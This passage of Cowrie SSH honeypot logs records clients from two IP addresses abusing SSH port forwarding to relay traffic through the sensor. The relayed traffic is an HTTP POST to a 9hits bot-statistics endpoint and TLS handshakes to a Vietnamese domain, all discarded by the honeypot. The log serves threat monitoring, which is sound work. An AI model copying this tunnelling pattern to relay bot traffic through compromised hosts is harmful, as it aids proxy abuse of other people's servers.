sq3o1G5I1AsSh3qh61Z8MsUL863U5Q2Vgq8OdJllEKSZ5dOAlkqA7YZ%2F0RdCR4E%2BAnOp8BSIjIS6OMrps81rrWZ3JETHKsEmlcH2ayBbQAh0Uzr3W91Wt3qTJ%2FTYNl9QY9rI3QqN0lsyTKVh3srZyMlk7P3A%2FjUdFVTP0Ct9CYyemyQLbgKWQSsiEJR59EGT62NOhoPaZQnUOtt4HtMenNC93lunDfBXeDU3k%2BPyShCWJ%2FxcvS61VdpKyGma2Dh%2B%2F%2Boujm1Wdj6ue1F9lHISxhf5Nu58HyjJBOpHDOaSmGwVhe7%2B5ze%2BPKrSdYkoDCAJV%2FmgkWbD7TC410Gx2MI%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Mm5CY1pTbX4lI0syJFJ1Qw%3D%3Dcp0hgh%2FZJOtC0s%2FkSJAKmu%2BlZ3M%2FA1rnt8DLerZq0xMJtcK%2B0C77wGEGa0kst016Hoa7fX4xMTtrxGZcBSQnI%2FnmzcGE3FjjGX7%2F%2BExdfuS86FXrUiQ63enbjWKFI9EIpgMmH%2FrZKVYud%2BU5XK6KfKgeNEh%2F%2BhwgebuAZKtz%2B9ACW8fg3dGhMHhUCdMUKd40qknBvLcr8GiDCJ6Y6CpPHhuqJEODxm4SYjPoTjYV2Yd5YbKjyxDVEqBThGkPwNVzVUZ3PR%2FDsDHYhtUcXWnO5%2FKdcws%2FE8jjHiAo0EujcEfZwu4cIElxxuTTd5QuHXCLdIXxS1YfXLB%2ByaHUQ5wVdiBGHaXKfuot%2FuhMseIPyqBgKKq%2F4yEcET0S%2FmIg1SuQtoI4qjbCHVuEyqju8kgoUQnxemSE3MKMOHYenu4kmB%2Bj5xNcRlOE56AFmF9YKfiUCkWgGQCXCbU51oD3AOfFcyVpCK9heTiCKfUW6oLJtlg%2FDIjdEnp40l06pTgmI3AWmw1ZVfcueWeAYarcdhg0NUp8tG8Htqj2cyq%2FgzsMT%2BeZvDrNEP%2FsAkF42e8qvBAICPH%2FTdcgwJ5sdsJazT%2B%2BT3wLHXoszp9bG2vZn%2BJf0xQ%2B2mY8Pw1BvogavSEJ8H49wwmyYALcmoOEOmvSdkpL3hiY9rPSYTEypKzk98uNiO4G5E5XVN2ehJVZZSxuDhY4bBzjKvCFjCbkzuKOgju09KV%2Fsq3o1G5I1AsSh3qh61Z8MsUL863U5Q2Vgq8OdJllEKSZ5dOAlkqA7YZ%2F0RdCR4E%2BAnOp8BSIjIS6OMrps81rrWZ3JETHKsEmlcH2ayBbQAh0Uzr3W91Wt3qTJ%2FTYNl9QY9rI3QqN0lsyTKVh3srZyMlk7P3A%2FjUdFVTP0Ct9CYyemyQLbgKWQSsiEJR59EGT62NOhoPaZQnUOtt4HtMenNC93lunDfBXeDU3k%2BPyShCWJ%2FxcvS61VdpKyGma2Dh%2B%2F%2Boujm1Wdj6ue1F9lHISxhf5Nu58HyjJBOpHDOaSmGwVhe7%2B5ze%2BPKrSdYkoDCAJV%2FmgkWbD7TC410Gx2MI%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:14.211269Z","src_ip":"113.164.152.20","session":"f3cb83e1b932","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:14.215084Z","src_ip":"113.164.152.20","session":"f3cb83e1b932","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03j\\xb69\\xf3\\x99\\xe3\\xd7W \\xf8\\xb3\\r\\xe6\\xdc\\xf6q\\x10\\xba\\x8b\\x08w3#M\\x00\\x90E\\x81W\\xab\\xc0\\x18 \\x0cd\\x12\\x974\\xe9\\x96\\xee\\xc1\\x1d(\\x12\\xdb#L@|a\\xf0\\xcd\\xc2\\xa4^'\\x00\\x9e\\xf8htP\\xdd\\x06\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 9\\x9b\\x9do\\x82\\x81{\\xf1I\\xcb\\x85\\xa4\\x98\\xfe!\\xba?\\xa4.B\\x12\\xbc\\x884\\xf0\\x0cW\\xc0\\xfc\\xb5\\xf9\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03j\\xb69\\xf3\\x99\\xe3\\xd7W \\xf8\\xb3\\r\\xe6\\xdc\\xf6q\\x10\\xba\\x8b\\x08w3#M\\x00\\x90E\\x81W\\xab\\xc0\\x18 \\x0cd\\x12\\x974\\xe9\\x96\\xee\\xc1\\x1d(\\x12\\xdb#L@|a\\xf0\\xcd\\xc2\\xa4^'\\x00\\x9e\\xf8htP\\xdd\\x06\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 9\\x9b\\x9do\\x82\\x81{\\xf1I\\xcb\\x85\\xa4\\x98\\xfe!\\xba?\\xa4.B\\x12\\xbc\\x884\\xf0\\x0cW\\xc0\\xfc\\xb5\\xf9\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:14.217587Z","src_ip":"113.164.152.20","session":"f3cb83e1b932","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:14.378801Z","src_ip":"123.27.168.40","session":"968ac8e02a01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8bq\"\\xe7\\xb0\\x07{*\\xed\\xb6(\\xfb\\x0cN\\x08\\xce\\n\\xdb\\x04m\\x8b\\xa1\\x98b\\xfaRG\\x17\\xfe\\x954\\xdb ,`L\\xf8i\\xcc\\x19M\\x98\\x89\\xdf\\xeb\\x14O%\\x1a\\xf0\\xc0\\xe2\\xb27\\xb6\\x90Y\\xfc\\xf1m\\rl\\xe4\\xb3\\xa9\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbfm\\xb3`\\xd3\\xdfe\\x8f\\x91\\x18\\x0cC6ve|\\xdd\\r&[s\\xfcr\\xc7\\x00r1\\xcb\\xbeyu\\x7f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8bq\"\\xe7\\xb0\\x07{*\\xed\\xb6(\\xfb\\x0cN\\x08\\xce\\n\\xdb\\x04m\\x8b\\xa1\\x98b\\xfaRG\\x17\\xfe\\x954\\xdb ,`L\\xf8i\\xcc\\x19M\\x98\\x89\\xdf\\xeb\\x14O%\\x1a\\xf0\\xc0\\xe2\\xb27\\xb6\\x90Y\\xfc\\xf1m\\rl\\xe4\\xb3\\xa9\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbfm\\xb3`\\xd3\\xdfe\\x8f\\x91\\x18\\x0cC6ve|\\xdd\\r&[s\\xfcr\\xc7\\x00r1\\xcb\\xbeyu\\x7f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:14.383312Z","src_ip":"123.27.168.40","session":"968ac8e02a01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:14.501944Z","session":"f3cb83e1b932","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:14.783451Z","src_ip":"113.164.152.20","session":"f3cb83e1b932","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03N\\xa1\\xf2\\xd2\\xcbM(\\xc8S\\x89\\x83\\x81-\\xf2\\xdc\\x0c\\x87K\\x18:\\xc8j\\xae\\xfd\\x19y\\xcbmY\\xca\\x98\\xc8 \\xa0}\\xfcb\\xa6\\xdc9\\xa1Y\\xb3J\\xd4\\xa8\\xf0AE\\x0e\\xc1\\x8b\\x95\\x18L/b\\r\\xc9(\\x90\\xab\\xb5j\\x85\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 X\\x03#\\xd4P\\xe1#\\x8f*\\x08\\xd9\\xd4uiq\\x1dv\\xa4\\x90\\x9f\\xee\\xa0\\xdd\\xca\\x97\\xfb\\xb2\\xdd\\x94\\xc4\\xcbv\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03N\\xa1\\xf2\\xd2\\xcbM(\\xc8S\\x89\\x83\\x81-\\xf2\\xdc\\x0c\\x87K\\x18:\\xc8j\\xae\\xfd\\x19y\\xcbmY\\xca\\x98\\xc8 \\xa0}\\xfcb\\xa6\\xdc9\\xa1Y\\xb3J\\xd4\\xa8\\xf0AE\\x0e\\xc1\\x8b\\x95\\x18L/b\\r\\xc9(\\x90\\xab\\xb5j\\x85\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 X\\x03#\\xd4P\\xe1#\\x8f*\\x08\\xd9\\xd4uiq\\x1dv\\xa4\\x90\\x9f\\xee\\xa0\\xdd\\xca\\x97\\xfb\\xb2\\xdd\\x94\\xc4\\xcbv\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:14.786685Z","src_ip":"113.164.152.20","session":"f3cb83e1b932","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:14.842511Z","session":"968ac8e02a01","protocol":"ssh"}
